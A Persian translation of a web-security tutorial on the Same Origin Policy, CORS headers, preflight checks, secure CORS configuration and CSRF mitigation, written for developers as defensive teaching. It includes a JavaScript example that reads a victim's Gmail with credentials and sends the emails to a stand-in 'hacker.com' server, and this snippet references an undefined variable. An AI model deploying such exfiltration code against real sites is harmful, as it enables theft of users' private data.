توضیح دوات: سایت اصلی مقاله (که میتوانید با کلیک بر روی نویسنده مقاله به آن دسترسی پیدا کنید) مثالی کاملا عملی و کد شده را نمایش میدهد. در صورتی که به موضوع علاقهمند هستید آن را در قسمت Demonstration بررسی کنید.
تصور کنید به وبسایتی سر بزنید که تصاویر بیگناه بچهگربهها را نشان میدهد. اما پشت این موجودات بامزه یک قدرت خارقالعاده پنهان شده است. بهمحض اینکه کسی از این وبسایت بازدید کند، مالک آن به تمام فعالیتهای آنلاین بازدیدکننده دسترسی پیدا میکند. او میتواند به اطلاعات بانکی، پستها و پیامهای شبکههای اجتماعی، ایمیلها، خریدهای آنلاین و غیره شما دسترسی پیدا کند. تصور کنید این اتفاق چه آسیبی به شهرت و امور مالی شما وارد میکند. او میتواند پیامهای شما را افشا کند و حساب بانکیتان را خالی کند. اما خوشبختانه، این سناریو هرگز رخ نخواهد داد، و این به لطف SOP و CORS است.
جاوااسکریپت و XML غیرهمزمان (AJAX)
بیایید کمی به عقب برگردیم و درباره فناوریای صحبت کنیم که از قبل با آن آشنا هستید: AJAX. AJAX مکانیزمی در جاوااسکریپت است که به مرورگر امکان میدهد درخواستهایی را در پسزمینه انجام دهد. قسمت جلویی یک وبسایت معمولاً از AJAX برای درخواست اطلاعات از یک سرور API استفاده میکند. AJAX در سمت کلاینت اجرا میشود. این بدان معناست که وقتی یک کاربر از وبسایتی بازدید میکند، مرورگر اوست که درخواست AJAX را ارسال میکند. برای اهداف این مقاله، فرض کنیم کاربری تصادفی در اینترنت به نام باب (Bob) داریم.
وقتی به یک وبسایت به آدرس example.com درخواست ارسال میکنید، میتوانید به AJAX بگویید که “از اعتبارنامهها استفاده کند”. در این حالت، مرورگر بررسی میکند که آیا باب در وبسایت example.com کوکی دارد یا خیر. اگر داشته باشد، مرورگر آن کوکیها را همراه با درخواست AJAX ارسال میکند. بنابراین، اگر باب در وبسایت example.com احراز هویت شده باشد، آن وبسایت باب را تشخیص میدهد. مرورگر درخواست AJAX را با هویت باب ارسال میکند.
چرا اینترنت به یک جنگل بیقانون تبدیل نشده است؟
ازآنجاییکه شما یک علاقهمند به امنیت سایبری هستید، شاید این سؤال به ذهنتان خطور کرده باشد: اگر من یک وبسایت مخرب ایجاد کنم، چه چیزی مانع من میشود که یک درخواست AJAX با اعتبارنامهها به وبسایت جیمیل ارسال کنم و تمام ایمیلهای بازدیدکنندگانم را دریافت کنم؟
اگر این سؤال را از خود پرسیدید، باید به تمایلات “شرورانه” شما تبریک بگویم. اما طرح شما عملی نخواهد شد، و این به لطف دو مکانیزم به نامهای SOP و CORS است.
SOP مخفف سیاست منبع مشترک (Same Origin Policy) است. این مکانیزم مانع از آن میشود که وبسایت A منابع وبسایت B با منشأ متفاوت را بخواند. SOP از یک وبسایت و دادههای کاربران روی آن در برابر دسترسی یک وبسایت مخرب محافظت میکند.
CORS مخفف اشتراک منابع میانمنشأ (Cross-Origin Resource Sharing) است. CORS مجموعه قوانینی است که میتواند استثنائاتی به مکانیزم SOP اضافه کند. این قوانین محدودیتهای SOP را کاهش داده و به یک وبسایت A اجازه میدهد منابعی از وبسایت B با منشأ متفاوت بارگیری کند.
منشأ یک وبسایت ترکیبی از دامنه، طرح پروتکل و پورت شبکه آن است. اگر یکی از این بخشها بین دو URL متفاوت باشد، مرورگرها آنها را بهعنوان منشأ متفاوت در نظر میگیرند. بهعنوان مثال، اگر وبسایت https://www.devsecurely.com/ یک درخواست AJAX به یکی از وبسایتهای زیر ارسال کند، مرورگر آن را بهعنوان منشأ متفاوت در نظر میگیرد:
- http://www.devsecurely.com/
- https://api.devsecurely.com/
- https://www.gmail.com/
- https://www.devsecurely.com:8443/
اگر یک وبسایت درخواست HTTP به یک URL با منشأ متفاوت ارسال کند، این درخواست بهعنوان درخواست منشأ متفاوت شناخته میشود. نحوه پردازش این نوع درخواست با درخواست منشأ مشترک متفاوت است. قوانین مربوط به نحوه رسیدگی به درخواستهای منشأ متفاوت پیچیده است. ما در این مقاله تمام متغیرها و قوانین را بررسی خواهیم کرد. آماده باشید!
با اعتبارنامهها در مقابل بدون اعتبارنامهها
بیایید با بررسی تأثیر استفاده یا عدم استفاده از اعتبارنامهها در یک درخواست AJAX شروع کنیم. برای روشنتر شدن موضوع، فرض کنیم وبسایت https://hacker.com یک درخواست AJAX به وبسایت https://gmail.com ارسال میکند.
گزینه “با اعتبارنامهها” (With credentials) در AJAX قابل فعالسازی است. این گزینه به مرورگر دستور میدهد که کوکیهای کاربر در جیمیل را در درخواست AJAX قرار دهد. به این ترتیب، جیمیل متوجه میشود که این درخواست توسط مرورگر باب (Bob) انجام شده است. پاسخ درخواست شامل اطلاعات مربوط به حساب جیمیل باب خواهد بود. برای مثال، اگر درخواست AJAX به آدرس https://gmail.com/emails ارسال شود، پاسخ حاوی ایمیلهای باب خواهد بود.
این یک سناریوی خطرناک است: اگر هر وبسایتی بتواند یک درخواست AJAX برای دریافت ایمیلهای بازدیدکنندهها ارسال کند، اینترنت به یک جنگل بیقانون تبدیل میشد. مهندسان طراحی پروتکلهای اینترنتی مطمئن شدهاند که این اتفاق رخ نمیدهد.
از سوی دیگر، اگر گزینه “با اعتبارنامهها” فعال نباشد، درخواست AJAX هیچ کوکیای را شامل نخواهد شد. وبسایت جیمیل مرورگر باب را بهعنوان یک کاربر ناشناس در نظر میگیرد—even if باب در تب دیگری از مرورگرش به حساب جیمیل خود وارد شده باشد—. بنابراین، هیچ اطلاعات شخصیای در پاسخ به درخواست AJAX وجود نخواهد داشت.
تعریف قوانین CORS
وقتی مرورگر یک درخواست AJAX از وبسایت A به وبسایت B انجام میدهد، به قوانین CORS وبسایت B نگاه میکند تا بفهمد چگونه رفتار کند. این وبسرور B است که قوانین CORS را تعیین میکند و مرورگر آنها را دنبال میکند. این قوانین در هدرهای خاصی از پاسخ HTTP تعریف میشوند. مهمترین این هدرها Access-Control-Allow-Origin و Access-Control-Allow-Credentials هستند که نقش و مقادیر ممکن آنها را در ادامه این مقاله بررسی خواهیم کرد.
پردازش درخواست منشأ متفاوت
وقتی یک وبسایت درخواست AJAX به وبسایت دیگری ارسال میکند (درخواست منشأ متفاوت)، مرورگر سیاست CORS را بررسی میکند تا بداند چگونه این درخواست را پردازش کند.
مرورگر باید دو تصمیم بگیرد:
- آیا مرورگر باید درخواست HTTP تعریفشده توسط کد جاوااسکریپت را اجرا کند؟
- اگر درخواست انجام شود، آیا مرورگر باید اجازه دسترسی کد جاوااسکریپت به پاسخ را بدهد؟
بیایید بهطور عمیقتر این دو مرحله را بررسی کنیم.
درخواست دادن یا ندادن؟
در برخی پیکربندیهای AJAX، مرورگر بدون بررسی سیاست CORS درخواست را اجرا میکند. در سایر موارد، مرورگر باید قبل از تصمیم به ارسال درخواست، سیاست CORS را بررسی کند. در این حالت، مرورگر ابتدا یک درخواست HTTP OPTIONS به URL ارسال میکند تا سیاست CORS را بازیابی کند. به این فرآیند درخواست پیشپرواز (preflight request) گفته میشود.
در حال حاضر، بیایید به شرایطی بپردازیم که تحت آنها مرورگر بدون بررسی سیاست CORS درخواست را ارسال میکند:
- درخواست AJAX از نوع GET است و هدرهای HTTP سفارشی ندارد.
- درخواست AJAX از نوع POST است، با یک نوع محتوا استاندارد، و بدون هدرهای HTTP سفارشی.
چرا مرورگر این درخواستها را بدون بررسی CORS اجرا میکند؟ زیرا این درخواستها همانهایی هستند که یک وبسایت میتواند بدون استفاده از AJAX اجرا کند:
- میتوانید یک درخواست GET بدون هدرهای HTTP سفارشی با استفاده از یک تگ HTML از نوع “img” یا “iframe” اجرا کنید. تنها کافی است URL هدف را در ویژگی “src” قرار دهید. هنگام رندر کردن صفحه، مرورگر یک درخواست GET به URL ارسال میکند، با اعتبارنامهها، تا منبع را بارگیری کند.
- میتوانید یک درخواست POST با نوع محتوای استاندارد و بدون هدرهای HTTP سفارشی را با استفاده از تگ HTML “form” اجرا کنید. میتوانید تمام خصوصیات POST را با تگهای HTML “input” اضافه کرده و فرم را با جاوااسکریپت ارسال کنید تا درخواست اجرا شود.
در تمام سناریوهای دیگر، مرورگر یک درخواست پیشپرواز ارسال میکند و سپس سیاست CORS را بررسی میکند تا تصمیم بگیرد که آیا درخواست را ارسال کند یا خیر:
- درخواستهای HTTP از نوع PUT، DELETE یا سایر موارد
- درخواستهای HTTP POST با نوع محتوای غیر استاندارد، مانند “application/json”
- درخواستهای HTTP از نوع GET یا POST که دارای هدرهای HTTP سفارشی هستند، مانند “X-Requested-With: XMLHttpRequest”
اجازه دسترسی یا عدم اجازه دسترسی؟
اگر مرورگر درخواست AJAX را انجام دهد، سپس باید تصمیم بگیرد که آیا به کد جاوااسکریپت اجازه دسترسی به پاسخ را بدهد یا خیر. مرورگر سیاست CORS را از پاسخ دریافت کرده و بررسی میکند که آیا درخواست AJAX با سیاست CORS مطابقت دارد یا خیر.
اگر مطابقت داشته باشد، کد جاوااسکریپت به پاسخ دسترسی خواهد داشت. در غیر این صورت، کد جاوااسکریپت به پاسخ دسترسی نخواهد داشت و یک پیام خطا در کنسول جاوااسکریپت نمایش داده میشود.
بررسی سیاست CORS
بهطور خلاصه، مرورگر در دو مورد سیاست CORS را بررسی میکند:
- قبل از ارسال درخواست HTTP غیر استاندارد.
- قبل از تصمیمگیری درباره اجازه دسترسی به پاسخ.
مرورگر عناصر زیر را بررسی میکند:
مرورگر مقدار هدر پاسخ Access-Control-Allow-Origin را بازیابی میکند. این مقدار باید برابر با منشأ وبسایتی باشد که درخواست AJAX را ارسال کرده است. منشأ به شکل “schema://fqdn:port” است.
- اگر هدر پاسخ Access-Control-Allow-Origin غایب باشد، این بررسی ناموفق خواهد بود.
- برخلاف انتظار، اگر مقدار هدر Access-Control-Allow-Origin برابر با مقدار کلی “*” باشد، این بررسی نیز ناموفق خواهد بود.
اگر درخواست با اعتبارنامهها (with credentials) انجام شده باشد: هدر پاسخ Access-Control-Allow-Credentials باید حضور داشته و مقدار آن برابر با “true” باشد.
اگر درخواست AJAX شامل یک یا چند هدر HTTP سفارشی باشد: مرورگر مقدار هدر پاسخ Access-Control-Allow-Headers را بازیابی میکند. مقدار این هدر باید شامل تمام هدرهای HTTP سفارشی استفادهشده در درخواست باشد.
اگر نوع درخواست AJAX از GET، POST یا HEAD نباشد: مرورگر مقدار هدر پاسخ Access-Control-Allow-Methods را بازیابی میکند. مقدار این هدر باید شامل نوع درخواست HTTP تعریفشده توسط کوئری AJAX باشد.
اگر هر یک از این شرایط ناموفق باشد، کل بررسی سیاست CORS ناموفق خواهد بود:
- اگر مرورگر بررسی CORS را قبل از ارسال درخواست انجام دهد، درخواست ارسال نخواهد شد.
- اگر مرورگر بررسی CORS را پس از ارسال درخواست انجام دهد، کد جاوااسکریپت به پاسخ دسترسی نخواهد داشت.
گراف زیر درخت تصمیم CORS را نشان میدهد
خطرات استفاده از سیاست CORS اشتباه چیست؟
سازندگان مرورگرها مکانیزم CORS را برای محافظت از کاربران طراحی کردهاند. کاربران ممکن است بهطور ناخواسته از یک وبسایت مخرب بازدید کنند. یک سیاست CORS مناسب اطمینان میدهد که وبسایت مخرب نمیتواند با استفاده از هویت کاربر، درخواست HTTP به وبسایت شما ارسال کند.
پیکربندی سیاست CORS از طریق هدرهای پاسخ HTTP انجام میشود. بنابراین، وظیفه توسعهدهنده است که سیاست CORS بهاندازه کافی سختگیرانهای تعریف کند تا از درخواستهای مخرب جلوگیری کند.
CORS بهویژه در وبسایتهایی که از کوکیها برای تأیید هویت کاربران استفاده میکنند—مانند کوکیهای نشست—اهمیت دارد. زیرا در تنظیمات AJAX “با اعتبارنامهها”، مرورگر بهطور خودکار کوکیها را با درخواست ارسال میکند و درخواست به نظر میرسد که از کاربر قانونی آمده است.
اگر از روش دیگری برای تأیید هویت استفاده کنید، مانند ارسال یک توکن تأیید هویت در هدر HTTP “Authorization”، سیاست CORS اهمیت کمتری خواهد داشت. اگر یک وبسایت مخرب درخواست AJAX ارسال کند، قادر نخواهد بود مرورگر را مجبور به اضافه کردن توکن به درخواست کند. همچنین وبسایت مخرب به ذخیره محلی وبسایت قانونی دسترسی ندارد، بنابراین نمیتواند توکن را به درخواست AJAX اضافه کند و وبسایت شما بهطور پیشفرض در برابر این نوع حمله محافظت میشود.
در صورت استفاده از تأیید هویت با کوکی و یک سیاست CORS ضعیف، ممکن است اتفاقات ناخوشایندی رخ دهد. فرض کنید کاربر از یک وبسایت مخرب بازدید کند، در اینجا چند سناریوی حمله ممکن وجود دارد:
- وبسایت مخرب یک درخواست AJAX برای دریافت ایمیلهای کاربر در جیمیل ارسال میکند. سپس کد جاوااسکریپت این ایمیلها را به هکر ارسال میکند.
- وبسایت مخرب میتواند یک درخواست HTTP POST خاص به جیمیل ارسال کند. این درخواست تنظیمات کاربر را تغییر میدهد تا هکر بتواند بهنام قربانی ایمیل ارسال کند.
- وبسایت مخرب میتواند یک درخواست HTTP POST خاص به جیمیل ارسال کند تا رمز عبور جیمیل قربانی را تغییر دهد.
کد جاوااسکریپت زیر نشان میدهد که چگونه یک مهاجم میتواند ایمیلهای قربانی را بازیابی کرده و آنها را به سرور خود ارسال کند تا بعداً از آنها استفاده کند:
var xhr = new XMLHttpRequest()
xhr.open( 'GET', 'https://gmail.com/emails')
xhr.withCredentials = true
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var xhr2 = new XMLHttpRequest()
xhr2.open( 'POST', 'https://hacker.com/save_emails')
var params = 'emails='+xhttp.responseText;
xhr2.send(params);
}
};
xhr.send();
این سناریو را میتوان به صورت زیر توضیح داد:
مثالی که در این مقاله ارائه شده است صرفاً جنبه آموزشی دارد. جیمیل یک سیاست CORS مناسب دارد که از چنین حملاتی جلوگیری میکند. اما ما یک وبسایت نمونه ایجاد کردهایم تا شما بتوانید اثرات آن را خودتان ببینید.
چگونه یک سیاست CORS امن تعریف کنیم؟
سیاست CORS از طریق هدرهای خاص HTTP در پاسخ تعریف میشود. برای هر هدر، باید مطمئن شویم که مقادیر آن به اندازه کافی سختگیرانه هستند تا از هرگونه فعالیت مخرب جلوگیری شود. همچنین باید اطمینان حاصل کنیم که این سیاست درخواستهای قانونی را مسدود نمیکند. بیایید مقادیر هر هدر پاسخ را تعریف کنیم:
Access-Control-Allow-Origin: مقدار این هدر باید مبدأیی باشد که مجاز به فراخوانی وبسایت است. برای مثال، فرض کنید یک API دارید که در https://api.example.com میزبانی میشود و بخشی از سایت شما که این API را فراخوانی میکند در https://www.example.com میزبانی شده است. در این حالت، هدر Access-Control-Allow-Origin باید همیشه مقدار https://www.example.com را داشته باشد.
اگر چند وبسایت مجاز به فراخوانی وبسایت شما باشند، باید یک لیست سفید از مبدأهای مجاز تعریف کنید. برای همه درخواستها بررسی کنید که آیا هدر درخواست Origin یکی از مبدأهای لیست سفید را دارد یا خیر.
- اگر بله، مقدار هدر درخواست Origin را به عنوان مقدار هدر پاسخ Access-Control-Allow-Origin بازگردانید.
- اگر خیر، مقدار پیشفرضی برای هدر Access-Control-Allow-Origin بازگردانید.
اگر وبسایت شما نباید از مبدأهای دیگر فراخوانی شود (مثلاً کل وبسایت شما در https://www.example.com میزبانی میشود)، این هدر را تعریف نکنید.
Access-Control-Allow-Credentials: اگر وبسایت شما از کوکیها برای احراز هویت کاربران (مثلاً کوکیهای session) استفاده میکند، مقدار این هدر را به “true” تنظیم کنید.
اگر وبسایت شما نباید از مبدأهای دیگر فراخوانی شود، این هدر را تعریف نکنید.
Access-Control-Allow-Headers: اگر به هدر HTTP خاصی در درخواستهای خود نیاز دارید، باید آن را به این هدر پاسخ اضافه کنید. اگر به چندین هدر HTTP نیاز دارید، آنها را به صورت لیست جدا شده با کاما اضافه کنید.
اگر وبسایت شما نباید از مبدأهای دیگر فراخوانی شود، این هدر را تعریف نکنید.
Access-Control-Allow-Methods: اگر وبسایت شما از متدهای HTTP مانند PUT یا DELETE استفاده میکند، باید آنها را به این هدر به صورت لیست جدا شده با کاما اضافه کنید.
اگر وبسایت شما نباید از مبدأهای دیگر فراخوانی شود، این هدر را تعریف نکنید.
هنگامی که یک درخواست preflight (درخواست HTTP از نوع OPTIONS) دریافت میکنید، مطمئن شوید که فقط هدرهای پاسخ را بازگردانده و هیچ عملیات اضافی انجام نمیدهید.
همچنین، این تغییرات را به صورت تدریجی انجام دهید. پس از هر تغییر، اطمینان حاصل کنید که وبسایت شما همچنان کار میکند. تعریف یک سیاست CORS بیش از حد سختگیرانه ممکن است مشکلاتی برای کلاینتهایی که API/وبسایت شما را فراخوانی میکنند (مانند بخش جلویی وبسایت شما) ایجاد کند.
پیکربندی CORS به عنوان محافظت در برابر CSRF
همانطور که قبلاً دیدیم، مرورگر برخی درخواستها را بدون بررسی سیاست CORS انجام میدهد. بسته به زمینه برنامه شما، ممکن است نخواهید این اتفاق بیفتد.
برای مثال، اگر یک کنترلر API از نوع GET داشته باشید که تغییراتی روی دادهها انجام دهد، ممکن است به حملهای به نام CSRF منجر شود. ما جزئیات این نوع آسیبپذیری را در این مقاله بررسی نمیکنیم، اما برای ملموستر کردن این مشکل، مثالی میزنیم.
فرض کنید یک نقطه پایانی API دارید به شکل https://api.example.com/users/delete/[ID]. هنگام ارسال یک درخواست GET به این نقطه پایانی، کاربری که شناسه [ID] را دارد از پایگاه داده حذف میشود. یک وبسایت مخرب میتواند از این مسئله سوءاستفاده کند. این وبسایت میتواند یک درخواست AJAX با اعتبارنامهها به آدرس بالا ارسال کند. وقتی یک مدیر در example.com از وبسایت مخرب بازدید میکند، درخواست AJAX ارسال شده و یک کاربر حذف میشود.
برای جلوگیری از چنین حملاتی میتوانید از بررسیهای CORS استفاده کنید. برای این کار باید قبل از انجام درخواست، بررسی CORS را اجباری کنید. در مورد درخواستهای GET، تنها راه انجام این کار اضافه کردن یک هدر سفارشی است. مراحل زیر را دنبال کنید:
- در بخش جلویی، یک هدر سفارشی به درخواست مربوطه اضافه کنید (ممکن است بخواهید این هدر را به تمام درخواستهای API خود اضافه کنید). نام و مقدار هدر اهمیتی ندارد. میتوانید از هدر زیر به عنوان مثال استفاده کنید: “X-Requested-With: XMLHttpRequest”.
- در بخش API، مطمئن شوید که هدر جدید (X-Requested-With) وجود دارد. اگر این هدر وجود ندارد، درخواست را متوقف کرده و یک پیام خطا بازگردانید.
اکنون، اگر یک وبسایت مخرب بخواهد مانند مثال قبلی کاربران را حذف کند، باید هدر سفارشی X-Requested-With را به درخواست AJAX اضافه کند. این کار باعث میشود که یک درخواست preflight به سرور API شما ارسال شود. اگر سیاست CORS شما به شکل بهینهای تعریف شده باشد، هدر پاسخ Access-Control-Allow-Origin شامل نام وبسایت مخرب نخواهد بود. بررسی CORS در نتیجه شکست خورده و مرورگر درخواست را انجام نمیدهد.
این ترفند میتواند از نقاط پایانی GET و POST شما در برابر حملات CSRF محافظت کند.
توجه: نباید از درخواستهای GET برای اعمال تغییرات روی برنامه خود استفاده کنید. GET باید فقط برای بازیابی دادهها استفاده شود، نه برای تغییر آن.
خود را به دردسر نیندازید
به طور پیشفرض، مکانیزم SOP از درخواستهای cross-origin جلوگیری میکند. بنابراین، با تعریف یک سیاست CORS آسیبپذیر، وبسایت خود را در معرض خطر قرار ندهید.
بسته به حساسیت برنامه شما، یک اشتباه در پیکربندی CORS میتواند تأثیرات مخربی داشته باشد. چند سال پیش، من یک تست نفوذ روی یک پلتفرم معاملاتی انجام دادم. متوجه شدم که سیاست CORS وبسایت بسیار آزادانه تنظیم شده است. برای نمایش خطر، یک وبسایت مخرب ایجاد کردم که بازدیدکنندگان را مجبور به خرید سهام خاصی میکرد. یک مهاجم میتوانست از این مشکل استفاده کرده و مشتریان را مجبور به خرید سهام خاصی کند، در نتیجه قیمت آن سهام را افزایش دهد. اگر به درستی سوءاستفاده شود، این مشکل میتوانست میلیونها دلار درآمد ایجاد کند.